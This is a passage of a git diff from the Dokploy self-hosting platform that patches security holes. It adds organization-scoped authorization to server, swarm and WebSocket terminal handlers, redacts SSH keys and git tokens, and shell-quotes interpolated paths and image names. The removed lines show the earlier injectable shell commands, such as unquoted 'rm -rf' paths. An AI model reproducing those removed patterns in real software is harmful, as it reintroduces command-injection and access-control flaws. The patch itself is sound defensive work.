-						throw new TRPCError({
-							code: "FORBIDDEN",
-							message:
-								"Only owners and admins can manage server-level schedules.",
-						});
-					}
-				}
-
-				if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
-					const targetServer = await findServerById(scheduleItem.serverId);
-					if (
-						targetServer.organizationId !== ctx.session.activeOrganizationId
-					) {
-						throw new TRPCError({
-							code: "UNAUTHORIZED",
-							message: "You don't have access to this server.",
-						});
-					}
-				}
 			}
 			await deleteSchedule(input.scheduleId);
 
@@ -389,50 +300,19 @@ export const scheduleRouter = createTRPCRouter({
 		.input(z.object({ scheduleId: z.string().min(1) }))
 		.mutation(async ({ input, ctx }) => {
 			const scheduleItem = await findScheduleById(input.scheduleId);
+			await assertHostScheduleAccess(
+				ctx,
+				scheduleItem.scheduleType,
+				scheduleItem.serverId,
+			);
+
 			const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
 					schedule: ["create"],
 				});
 			} else {
-				if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
-					throw new TRPCError({
-						code: "FORBIDDEN",
-						message:
-							"Host-level schedules are not available in the cloud version.",
-					});
-				}
-
 				await checkPermission(ctx, { schedule: ["create"] });
-
-				if (
-					scheduleItem.scheduleType === "server" ||
-					scheduleItem.scheduleType === "dokploy-server"
-				) {
-					const member = await findMemberByUserId(
-						ctx.user.id,
-						ctx.session.activeOrganizationId,
-					);
-					if (member.role !== "owner" && member.role !== "admin") {
-						throw new TRPCError({
-							code: "FORBIDDEN",
-							message:
-								"Only owners and admins can manage server-level schedules.",
-						});
-					}
-				}
-
-				if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
-					const targetServer = await findServerById(scheduleItem.serverId);
-					if (
-						targetServer.organizationId !== ctx.session.activeOrganizationId
-					) {
-						throw new TRPCError({
-							code: "UNAUTHORIZED",
-							message: "You don't have access to this server.",
-						});
-					}
-				}
 			}
 			try {
 				await runCommand(input.scheduleId);
diff --git a/apps/dokploy/server/api/routers/server.ts b/apps/dokploy/server/api/routers/server.ts
index 0233173fa..1f3ed2c3b 100644
--- a/apps/dokploy/server/api/routers/server.ts
+++ b/apps/dokploy/server/api/routers/server.ts
@@ -9,6 +9,7 @@ import {
 	getPublicIpWithFallback,
 	haveActiveServices,
 	IS_CLOUD,
+	redactServerSshKey,
 	removeDeploymentsByServerId,
 	serverAudit,
 	serverSetup,
@@ -105,7 +106,7 @@ export const serverRouter = createTRPCRouter({
 				});
 			}
 
-			return server;
+			return redactServerSshKey(server);
 		}),
 	getDefaultCommand: withPermission("server", "read")
 		.input(apiFindOneServer)
@@ -412,6 +413,14 @@ export const serverRouter = createTRPCRouter({
 		.input(apiRemoveServer)
 		.mutation(async ({ input, ctx }) => {
 			try {
+				const currentServer = await findServerById(input.serverId);
+				if (currentServer.organizationId !== ctx.session.activeOrganizationId) {
+					throw new TRPCError({
+						code: "UNAUTHORIZED",
+						message: "You are not authorized to delete this server",
+					});
+				}
+
 				const activeServers = await haveActiveServices(input.serverId);
 
 				if (activeServers) {
@@ -420,7 +429,6 @@ export const serverRouter = createTRPCRouter({
 						message: "Server has active services, please delete them first",
 					});
 				}
-				const currentServer = await findServerById(input.serverId);
 				await audit(ctx, {
 					action: "delete",
 					resourceType: "server",
@@ -436,7 +444,7 @@ export const serverRouter = createTRPCRouter({
 					await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
 				}
 
-				return currentServer;
+				return redactServerSshKey(currentServer);
 			} catch (error) {
 				throw error;
 			}
diff --git a/apps/dokploy/server/api/routers/swarm.ts b/apps/dokploy/server/api/routers/swarm.ts
index f5c8f02c6..483bccf3e 100644
--- a/apps/dokploy/server/api/routers/swarm.ts
+++ b/apps/dokploy/server/api/routers/swarm.ts
@@ -18,12 +18,30 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({
+						code: "UNAUTHORIZED",
+						message: "You are not authorized to access this server",
+					});
+				}
+			}
 			return await getSwarmNodes(input.serverId);
 		}),
 	getNodeInfo: withPermission("server", "read")
 		.input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({
+						code: "UNAUTHORIZED",
+						message: "You are not authorized to access this server",
+					});
+				}
+			}
 			return await getNodeInfo(input.nodeId, input.serverId);
 		}),
 	getNodeApps: withPermission("server", "read")
@@ -32,7 +50,16 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({
+						code: "UNAUTHORIZED",
+						message: "You are not authorized to access this server",
+					});
+				}
+			}
 			return getNodeApplications(input.serverId);
 		}),
 	getAppInfos: withPermission("server", "read")
@@ -54,7 +81,16 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({
+						code: "UNAUTHORIZED",
+						message: "You are not authorized to access this server",
+					});
+				}
+			}
 			return await getApplicationInfo(input.appName, input.serverId);
 		}),
 	getContainerStats: withPermission("server", "read")
diff --git a/apps/dokploy/server/api/routers/user.ts b/apps/dokploy/server/api/routers/user.ts
index 583014ff6..b4782b1d2 100644
--- a/apps/dokploy/server/api/routers/user.ts
+++ b/apps/dokploy/server/api/routers/user.ts
@@ -35,6 +35,7 @@ import { TRPCError } from "@trpc/server";
 import * as bcrypt from "bcrypt";
 import { and, asc, eq, gt, ne } from "drizzle-orm";
 import { z } from "zod";
+import { apiKeyNameSchema } from "@/lib/api-keys";
 import { audit } from "@/server/api/utils/audit";
 import {
 	adminProcedure,
@@ -45,7 +46,7 @@ import {
 } from "../trpc";
 
 const apiCreateApiKey = z.object({
-	name: z.string().min(1),
+	name: apiKeyNameSchema,
 	prefix: z.string().optional(),
 	expiresIn: z.number().optional(),
 	metadata: z.object({
diff --git a/apps/dokploy/server/api/routers/volume-backups.ts b/apps/dokploy/server/api/routers/volume-backups.ts
index 4781485fc..433b371eb 100644
--- a/apps/dokploy/server/api/routers/volume-backups.ts
+++ b/apps/dokploy/server/api/routers/volume-backups.ts
@@ -13,6 +13,8 @@ import { db } from "@dokploy/server/db";
 import {
 	createVolumeBackupSchema,
 	updateVolumeBackupSchema,
+	VOLUME_NAME_MESSAGE,
+	VOLUME_NAME_REGEX,
 	volumeBackups,
 } from "@dokploy/server/db/schema";
 import { findDestinationById } from "@dokploy/server/services/destination";
@@ -275,7 +277,10 @@ export const volumeBackupsRouter = createTRPCRouter({
 			z.object({
 				backupFileName: z.string().min(1),
 				destinationId: z.string().min(1),
-				volumeName: z.string().min(1),
+				volumeName: z
+					.string()
+					.min(1)
+					.regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
 				id: z.string().min(1),
 				serviceType: z.enum(["application", "compose"]),
 				serverId: z.string().optional(),
diff --git a/apps/dokploy/server/wss/authorize.ts b/apps/dokploy/server/wss/authorize.ts
new file mode 100644
index 000000000..8f22c56f8
--- /dev/null
+++ b/apps/dokploy/server/wss/authorize.ts
@@ -0,0 +1,89 @@
+import { getAccessibleServerIds } from "@dokploy/server";
+import {
+	checkServiceAccess,
+	findMemberByUserId,
+	hasPermission,
+} from "@dokploy/server/services/permission";
+
+type WssUser = { id: string } | null | undefined;
+type WssSession = { activeOrganizationId?: string | null } | null | undefined;
+
+const buildCtx = (user: { id: string }, activeOrganizationId: string) => ({
+	user: { id: user.id },
+	session: { activeOrganizationId },
+});
+
+// Authorizes docker/container operations opened over a WebSocket (container
+// terminal, container logs, container stats). Requires the docker permission
+// (owner/admin, or a member explicitly granted canAccessToDocker) and, for a
+// remote server, that the server is accessible to the caller. Previously these
+// handlers only checked session + organization, so any member could reach a
+// root shell / logs of any container.
+export const canAccessDockerOverWss = async (
+	user: WssUser,
+	session: WssSession,
+	serverId?: string | null,
+	serviceId?: string | null,
+): Promise<boolean> => {
+	if (!user || !session?.activeOrganizationId) return false;
+
+	const ctx = buildCtx(user, session.activeOrganizationId);
+
+	// When the container belongs to a specific Dokploy service (opened from a
+	// service page, so serviceId is present), access to that service is the
+	// authoritative gate — matching the service tRPC endpoints (e.g.
+	// application.readLogs, which check service access only). A member granted
+	// the service can read its logs / open its terminal even without the broad
+	// "docker" permission or explicit access to the server it runs on.
+	if (serviceId) {
+		try {
+			await checkServiceAccess(ctx, serviceId, "read");
+			return true;
+		} catch {
+			return false;
+		}
+	}
+
+	// Generic Docker overview (no service context): mirror the docker tRPC router
+	// — require the docker permission and access to the target server.
+	if (!(await hasPermission(ctx, { docker: ["read"] }))) return false;
+
+	if (serverId && serverId !== "local") {
+		const accessible = await getAccessibleServerIds({
+			userId: user.id,
+			activeOrganizationId: session.activeOrganizationId,
+		});
+		if (!accessible.has(serverId)) return false;
+	}
+
+	return true;
+};
+
+// Authorizes the host/server SSH terminal opened over a WebSocket. The local
+// host terminal is a root shell on the control-plane host, so it is restricted
+// to owner/admin. A remote server terminal is gated on server access.
+export const canAccessTerminalOverWss = async (
+	user: WssUser,
+	session: WssSession,
+	serverId?: string | null,
+): Promise<boolean> => {
+	if (!user || !session?.activeOrganizationId) return false;
+
+	if (serverId && serverId !== "local") {
+		const accessible = await getAccessibleServerIds({
+			userId: user.id,
+			activeOrganizationId: session.activeOrganizationId,
+		});
+		return accessible.has(serverId);
+	}
+
+	try {
+		const member = await findMemberByUserId(
+			user.id,
+			session.activeOrganizationId,
+		);
+		return member?.role === "owner" || member?.role === "admin";
+	} catch {
+		return false;
+	}
+};
diff --git a/apps/dokploy/server/wss/docker-container-logs.ts b/apps/dokploy/server/wss/docker-container-logs.ts
index ed4541558..c20110d62 100644
--- a/apps/dokploy/server/wss/docker-container-logs.ts
+++ b/apps/dokploy/server/wss/docker-container-logs.ts
@@ -3,6 +3,7 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
 import { spawn } from "node-pty";
 import { Client } from "ssh2";
 import { WebSocketServer } from "ws";
+import { canAccessDockerOverWss } from "./authorize";
 import {
 	getShell,
 	isValidContainerId,
@@ -41,6 +42,7 @@ export const setupDockerContainerLogsWebSocketServer = (
 		const since = url.searchParams.get("since") ?? "all";
 		const serverId = url.searchParams.get("serverId");
 		const runType = url.searchParams.get("runType");
+		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 
 		if (!containerId) {
@@ -74,6 +76,11 @@ export const setupDockerContainerLogsWebSocketServer = (
 			return;
 		}
 
+		if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
+			ws.close(4003, "Not authorized");
+			return;
+		}
+
 		// Set up keep-alive ping mechanism to prevent timeout
 		// Send ping every 45 seconds to keep connection alive
 		const pingInterval = setInterval(() => {
diff --git a/apps/dokploy/server/wss/docker-container-terminal.ts b/apps/dokploy/server/wss/docker-container-terminal.ts
index e752c0651..64e95c3ae 100644
--- a/apps/dokploy/server/wss/docker-container-terminal.ts
+++ b/apps/dokploy/server/wss/docker-container-terminal.ts
@@ -3,6 +3,7 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
 import { spawn } from "node-pty";
 import { Client } from "ssh2";
 import { WebSocketServer } from "ws";
+import { canAccessDockerOverWss } from "./authorize";
 import { isValidContainerId, isValidShell } from "./utils";
 
 export const setupDockerContainerTerminalWebSocketServer = (
@@ -32,6 +33,7 @@ export const setupDockerContainerTerminalWebSocketServer = (
 		const containerId = url.searchParams.get("containerId");
 		const activeWay = url.searchParams.get("activeWay");
 		const serverId = url.searchParams.get("serverId");
+		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 
 		if (!containerId) {
@@ -58,6 +60,11 @@ export const setupDockerContainerTerminalWebSocketServer = (
 			ws.close();
 			return;
 		}
+
+		if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
+			ws.close(4003, "Not authorized");
+			return;
+		}
 		try {
 			if (serverId) {
 				const server = await findServerById(serverId);
diff --git a/apps/dokploy/server/wss/docker-stats.ts b/apps/dokploy/server/wss/docker-stats.ts
index b5f2439bf..a79a5d5b2 100644
--- a/apps/dokploy/server/wss/docker-stats.ts
+++ b/apps/dokploy/server/wss/docker-stats.ts
@@ -9,6 +9,7 @@ import {
 	validateRequest,
 } from "@dokploy/server";
 import { WebSocketServer } from "ws";
+import { canAccessDockerOverWss } from "./authorize";
 
 export const setupDockerStatsMonitoringSocketServer = (
 	server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>,
@@ -44,6 +45,7 @@ export const setupDockerStatsMonitoringSocketServer = (
 			| "application"
 			| "stack"
 			| "docker-compose";
+		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 
 		if (!appName) {
@@ -55,6 +57,11 @@ export const setupDockerStatsMonitoringSocketServer = (
 			ws.close();
 			return;
 		}
+
+		if (!(await canAccessDockerOverWss(user, session, null, serviceId))) {
+			ws.close(4003, "Not authorized");
+			return;
+		}
 		const intervalId = setInterval(async () => {
 			try {
 				// Special case: when monitoring "dokploy", get host system stats instead of container stats
diff --git a/apps/dokploy/server/wss/terminal.ts b/apps/dokploy/server/wss/terminal.ts
index 4825f7301..90c36855e 100644
--- a/apps/dokploy/server/wss/terminal.ts
+++ b/apps/dokploy/server/wss/terminal.ts
@@ -9,6 +9,7 @@ import { publicIpv4, publicIpv6 } from "public-ip";
 import { Client, type ConnectConfig } from "ssh2";
 import { WebSocketServer } from "ws";
 import { getDockerHost } from "../utils/docker";
+import { canAccessTerminalOverWss } from "./authorize";
 import { setupLocalServerSSHKey } from "./utils";
 
 const COMMAND_TO_ALLOW_LOCAL_ACCESS = `
@@ -93,6 +94,11 @@ export const setupTerminalWebSocketServer = (
 			return;
 		}
 
+		if (!(await canAccessTerminalOverWss(user, session, serverId))) {
+			ws.close(4003, "Not authorized");
+			return;
+		}
+
 		let connectionDetails: ConnectConfig = {};
 
 		const isLocalServer = serverId === "local";
diff --git a/packages/server/src/db/schema/ai.ts b/packages/server/src/db/schema/ai.ts
index 558f2648e..759bb6e87 100644
--- a/packages/server/src/db/schema/ai.ts
+++ b/packages/server/src/db/schema/ai.ts
@@ -54,6 +54,15 @@ export const apiUpdateAi = createSchema
 	})
 	.omit({ organizationId: true });
 
+export const aiCustomProviderSchema = z.object({
+	name: z.string().min(1, { message: "Name is required" }),
+	apiUrl: z.string().url({ message: "Please enter a valid URL" }),
+});
+
+export const apiSaveAiCustomProviders = z.object({
+	providers: z.array(aiCustomProviderSchema),
+});
+
 export const deploySuggestionSchema = z.object({
 	environmentId: z.string().min(1),
 	id: z.string().min(1),
diff --git a/packages/server/src/db/schema/schedule.ts b/packages/server/src/db/schema/schedule.ts
index 4c679ae36..55c831f54 100644
--- a/packages/server/src/db/schema/schedule.ts
+++ b/packages/server/src/db/schema/schedule.ts
@@ -57,6 +57,7 @@ export const schedules = pgTable("schedule", {
 });
 
 export type Schedule = typeof schedules.$inferSelect;
+export type ScheduleType = Schedule["scheduleType"];
 
 export const schedulesRelations = relations(schedules, ({ one, many }) => ({
 	application: one(applications, {
@@ -78,7 +79,9 @@ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
 	deployments: many(deployments),
 }));
 
-export const createScheduleSchema = createInsertSchema(schedules);
+export const createScheduleSchema = createInsertSchema(schedules, {
+	scheduleType: z.enum(["application", "compose", "server", "dokploy-server"]),
+});
 
 export const updateScheduleSchema = createScheduleSchema.extend({
 	scheduleId: z.string().min(1),
diff --git a/packages/server/src/db/schema/utils.ts b/packages/server/src/db/schema/utils.ts
index 4ba9007e1..4bf140738 100644
--- a/packages/server/src/db/schema/utils.ts
+++ b/packages/server/src/db/schema/utils.ts
@@ -41,6 +41,12 @@ export const APP_NAME_REGEX = /^[a-zA-Z0-9._-]+$/;
 export const APP_NAME_MESSAGE =
 	"App name can only contain letters, numbers, dots, underscores and hyphens";
 
+/** Docker volume name: must start alphanumeric, then letters/numbers/._- only. Safe for shell. */
+export const VOLUME_NAME_REGEX = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
+
+export const VOLUME_NAME_MESSAGE =
+	"Volume name must start with a letter or number and contain only letters, numbers, dots, underscores and hyphens";
+
 /** Database password: blocks shell-dangerous characters like $ ! ' " \ / and spaces. */
 export const DATABASE_PASSWORD_REGEX =
 	/^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/;
diff --git a/packages/server/src/db/schema/volume-backups.ts b/packages/server/src/db/schema/volume-backups.ts
index fd3b48253..bf025126d 100644
--- a/packages/server/src/db/schema/volume-backups.ts
+++ b/packages/server/src/db/schema/volume-backups.ts
@@ -14,7 +14,11 @@ import { serviceType } from "./mount";
 import { mysql } from "./mysql";
 import { postgres } from "./postgres";
 import { redis } from "./redis";
-import { generateAppName } from "./utils";
+import {
+	generateAppName,
+	VOLUME_NAME_MESSAGE,
+	VOLUME_NAME_REGEX,
+} from "./utils";
 
 export const volumeBackups = pgTable("volume_backup", {
 	volumeBackupId: text("volumeBackupId")
@@ -113,7 +117,9 @@ export const volumeBackupsRelations = relations(
 	}),
 );
 
-export const createVolumeBackupSchema = createInsertSchema(volumeBackups).omit({
+export const createVolumeBackupSchema = createInsertSchema(volumeBackups, {
+	volumeName: z.string().regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
+}).omit({
 	volumeBackupId: true,
 });
 
diff --git a/packages/server/src/lib/auth.ts b/packages/server/src/lib/auth.ts
index 7c4d48a95..43ab19f29 100644
--- a/packages/server/src/lib/auth.ts
+++ b/packages/server/src/lib/auth.ts
@@ -419,7 +419,7 @@ const createBetterAuth = () =>
 				enableMetadata: true,
 				references: "user",
 			}),
-			sso(),
+			sso({ trustEmailVerified: true }),
 			scim({
 				beforeSCIMTokenGenerated: async ({ user }) => {
 					const dbUser = await db.query.user.findFirst({
diff --git a/packages/server/src/services/ai.ts b/packages/server/src/services/ai.ts
index 8eace69f1..0554f10db 100644
--- a/packages/server/src/services/ai.ts
+++ b/packages/server/src/services/ai.ts
@@ -1,5 +1,6 @@
 import { db } from "@dokploy/server/db";
-import { ai } from "@dokploy/server/db/schema";
+import { ai, organization } from "@dokploy/server/db/schema";
+import { aiCustomProviderSchema } from "@dokploy/server/db/schema/ai";
 import { selectAIProvider } from "@dokploy/server/utils/ai/select-ai-provider";
 import { TRPCError } from "@trpc/server";
 import { generateText, Output } from "ai";
@@ -48,9 +49,74 @@ export const getAiSettingById = async (aiId: string) => {
 	return aiSetting;
 };
 
+type AiCustomProvider = z.infer<typeof aiCustomProviderSchema>;
+
+const parseOrgMetadata = (metadata: string | null) => {
+	try {
+		const parsed = JSON.parse(metadata || "{}");
+		return typeof parsed === "object" && parsed !== null
+			? (parsed as Record<string, unknown>)
+			: {};
+	} catch {
+		return {};
+	}
+};
+
+export const getCustomAiProviders = async (organizationId: string) => {
+	const org = await db.query.organization.findFirst({
+		where: eq(organization.id, organizationId),
+	});
+	const metadata = parseOrgMetadata(org?.metadata ?? null);
+	const result = z
+		.array(aiCustomProviderSchema)
+		.safeParse(metadata.aiProviders);
+	return result.success ? result.data : [];
+};
+
+export const saveCustomAiProviders = async (
+	organizationId: string,
+	providers: AiCustomProvider[],
+) => {
+	const org = await db.query.organization.findFirst({
+		where: eq(organization.id, organizationId),
+	});
+	if (!org) {
+		throw new TRPCError({
+			code: "NOT_FOUND",
+			message: "Organization not found",
+		});
+	}
+	const metadata = parseOrgMetadata(org.metadata);
+	metadata.aiProviders = providers;
+	await db
+		.update(organization)
+		.set({ metadata: JSON.stringify(metadata) })
+		.where(eq(organization.id, organizationId));
+	return providers;
+};
+
+const normalizeApiUrl = (url: string) => url.trim().replace(/\/+$/, "");
+
 export const saveAiSettings = async (organizationId: string, settings: any) => {
 	const aiId = settings.aiId;
 
+	if (settings.apiUrl) {
+		const customProviders = await getCustomAiProviders(organizationId);
+		if (customProviders.length > 0) {
+			const isAllowed = customProviders.some(
+				(provider) =>
+					normalizeApiUrl(provider.apiUrl) === normalizeApiUrl(settings.apiUrl),
+			);
+			if (!isAllowed) {
+				throw new TRPCError({
+					code: "FORBIDDEN",
+					message:
+						"This API URL is not in your organization's allowed AI providers",
+				});
+			}
+		}
+	}
+
 	return db
 		.insert(ai)
 		.values({
diff --git a/packages/server/src/services/application.ts b/packages/server/src/services/application.ts
index c8ebb3be7..0f2e5a4fc 100644
--- a/packages/server/src/services/application.ts
+++ b/packages/server/src/services/application.ts
@@ -102,10 +102,24 @@ export const findApplicationById = async (applicationId: string) => {
 			redirects: true,
 			security: true,
 			ports: true,
-			gitlab: true,
-			github: true,
-			bitbucket: true,
-			gitea: true,
+			gitlab: {
+				columns: { secret: false, accessToken: false, refreshToken: false },
+			},
+			github: {
+				columns: {
+					githubClientSecret: false,
+					githubPrivateKey: false,
+					githubWebhookSecret: false,
+				},
+			},
+			bitbucket: { columns: { appPassword: false, apiToken: false } },
+			gitea: {
+				columns: {
+					clientSecret: false,
+					accessToken: false,
+					refreshToken: false,
+				},
+			},
 			server: true,
 			previewDeployments: true,
 			registry: { columns: { password: false } },
diff --git a/packages/server/src/services/certificate.ts b/packages/server/src/services/certificate.ts
index aa5c3983c..1c6137506 100644
--- a/packages/server/src/services/certificate.ts
+++ b/packages/server/src/services/certificate.ts
@@ -9,6 +9,7 @@ import {
 import { removeDirectoryIfExistsContent } from "@dokploy/server/utils/filesystem/directory";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
+import { quote } from "shell-quote";
 import { stringify } from "yaml";
 import type { z } from "zod";
 import { encodeBase64 } from "../utils/docker/utils";
@@ -63,7 +64,7 @@ export const removeCertificateById = async (certificateId: string) => {
 	const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath);
 
 	if (certificate.serverId) {
-		await execAsyncRemote(certificate.serverId, `rm -rf ${certDir}`);
+		await execAsyncRemote(certificate.serverId, `rm -rf ${quote([certDir])}`);
 	} else {
 		await removeDirectoryIfExistsContent(certDir);
 	}
@@ -108,10 +109,10 @@ const createCertificateFiles = async (certificate: Certificate) => {
 		const certificateData = encodeBase64(certificate.certificateData);
 		const privateKey = encodeBase64(certificate.privateKey);
 		const command = `
-			mkdir -p ${certDir};
-			echo "${certificateData}" | base64 -d > "${crtPath}";
-			echo "${privateKey}" | base64 -d > "${keyPath}";
-			echo "${yamlConfig}" > "${configFile}";
+			mkdir -p ${quote([certDir])};
+			echo "${certificateData}" | base64 -d > ${quote([crtPath])};
+			echo "${privateKey}" | base64 -d > ${quote([keyPath])};
+			echo "${yamlConfig}" > ${quote([configFile])};
 		`;
 
 		await execAsyncRemote(certificate.serverId, command);
diff --git a/packages/server/src/services/compose.ts b/packages/server/src/services/compose.ts
index 7a887cdc4..35b1d5dc7 100644
--- a/packages/server/src/services/compose.ts
+++ b/packages/server/src/services/compose.ts
@@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
 import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { encodeBase64 } from "../utils/docker/utils";
 import { getDokployUrl } from "./admin";
@@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => {
 		const projectPath = join(COMPOSE_PATH, compose.appName, "code");
 		const path =
 			compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
-		const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
+		const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
 		if (compose.composeType === "docker-compose") {
 			if (compose.serverId) {
 				await execAsyncRemote(
diff --git a/packages/server/src/services/docker.ts b/packages/server/src/services/docker.ts
index 226230fbc..ea200e0c0 100644
--- a/packages/server/src/services/docker.ts
+++ b/packages/server/src/services/docker.ts
@@ -2,6 +2,7 @@ import {
 	execAsync,
 	execAsyncRemote,
 } from "@dokploy/server/utils/process/execAsync";
+import { quote } from "shell-quote";
 
 export const getContainers = async (serverId?: string | null) => {
 	try {
@@ -519,7 +520,7 @@ export const getSwarmNodes = async (serverId?: string) => {
 
 export const getNodeInfo = async (nodeId: string, serverId?: string) => {
 	try {
-		const command = `docker node inspect ${nodeId} --format '{{json .}}'`;
+		const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`;
 		let stdout = "";
 		let stderr = "";
 		if (serverId) {
diff --git a/packages/server/src/services/git-provider.ts b/packages/server/src/services/git-provider.ts
index 942f94ed2..5a7c6f438 100644
--- a/packages/server/src/services/git-provider.ts
+++ b/packages/server/src/services/git-provider.ts
@@ -119,3 +119,30 @@ export const getAccessibleGitProviderIds = async (session: {
 	}
 	return result;
 };
+
+/**
+ * Authorizes read access to a specific git provider for the current session.
+ * Throws if the provider belongs to a different organization (cross-org IDOR)
+ * or if the caller is not entitled to it within the active organization.
+ * Must be called before returning any git-provider record that carries secrets
+ * (OAuth tokens, app private keys, webhook secrets).
+ */
+export const assertGitProviderAccess = async (
+	session: { userId: string; activeOrganizationId: string },
+	provider: { gitProviderId: string; organizationId: string },
+) => {
+	if (provider.organizationId !== session.activeOrganizationId) {
+		throw new TRPCError({
+			code: "NOT_FOUND",
+			message: "Git provider not found",
+		});
+	}
+
+	const accessibleIds = await getAccessibleGitProviderIds(session);
+	if (!accessibleIds.has(provider.gitProviderId)) {
+		throw new TRPCError({
+			code: "FORBIDDEN",
+			message: "You don't have access to this git provider",
+		});
+	}
+};
diff --git a/packages/server/src/services/libsql.ts b/packages/server/src/services/libsql.ts
index dd2b82667..5a362789a 100644
--- a/packages/server/src/services/libsql.ts
+++ b/packages/server/src/services/libsql.ts
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -140,7 +141,7 @@ export const deployLibsql = async (
 		if (libsql.serverId) {
 			await execAsyncRemote(
 				libsql.serverId,
-				`docker pull ${libsql.dockerImage}`,
+				`docker pull ${quote([libsql.dockerImage])}`,
 				onData,
 			);
 		} else {
diff --git a/packages/server/src/services/mariadb.ts b/packages/server/src/services/mariadb.ts
index 189ab39ad..54ffb34ba 100644
--- a/packages/server/src/services/mariadb.ts
+++ b/packages/server/src/services/mariadb.ts
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -145,7 +146,7 @@ export const deployMariadb = async (
 		if (mariadb.serverId) {
 			await execAsyncRemote(
 				mariadb.serverId,
-				`docker pull ${mariadb.dockerImage}`,
+				`docker pull ${quote([mariadb.dockerImage])}`,
 				onData,
 			);
 		} else {
diff --git a/packages/server/src/services/mongo.ts b/packages/server/src/services/mongo.ts
index ad47cf04a..c6ff19f1e 100644
--- a/packages/server/src/services/mongo.ts
+++ b/packages/server/src/services/mongo.ts
@@ -12,6 +12,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
 
@@ -160,7 +161,7 @@ export const deployMongo = async (
 		if (mongo.serverId) {
 			await execAsyncRemote(
 				mongo.serverId,
-				`docker pull ${mongo.dockerImage}`,
+				`docker pull ${quote([mongo.dockerImage])}`,
 				onData,
 			);
 		} else {
diff --git a/packages/server/src/services/mount.ts b/packages/server/src/services/mount.ts
index 1987ded27..e55075ad3 100644
--- a/packages/server/src/services/mount.ts
+++ b/packages/server/src/services/mount.ts
@@ -18,6 +18,7 @@ import {
 } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, type SQL, sql } from "drizzle-orm";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 
 export type Mount = typeof mounts.$inferSelect;
@@ -317,7 +318,7 @@ export const updateFileMount = async (mountId: string) => {
 	try {
 		const serverId = await getServerId(mount);
 		const encodedContent = encodeBase64(mount.content || "");
-		const command = `echo "${encodedContent}" | base64 -d > ${fullPath}`;
+		const command = `echo "${encodedContent}" | base64 -d > ${quote([fullPath])}`;
 		if (serverId) {
 			await execAsyncRemote(serverId, command);
 		} else {
@@ -337,7 +338,7 @@ export const deleteFileMount = async (mountId: string) => {
 	try {
 		const serverId = await getServerId(mount);
 		if (serverId) {
-			const command = `rm -rf ${fullPath}`;
+			const command = `rm -rf ${quote([fullPath])}`;
 			await execAsyncRemote(serverId, command);
 		} else {
 			await removeFileOrDirectory(fullPath);
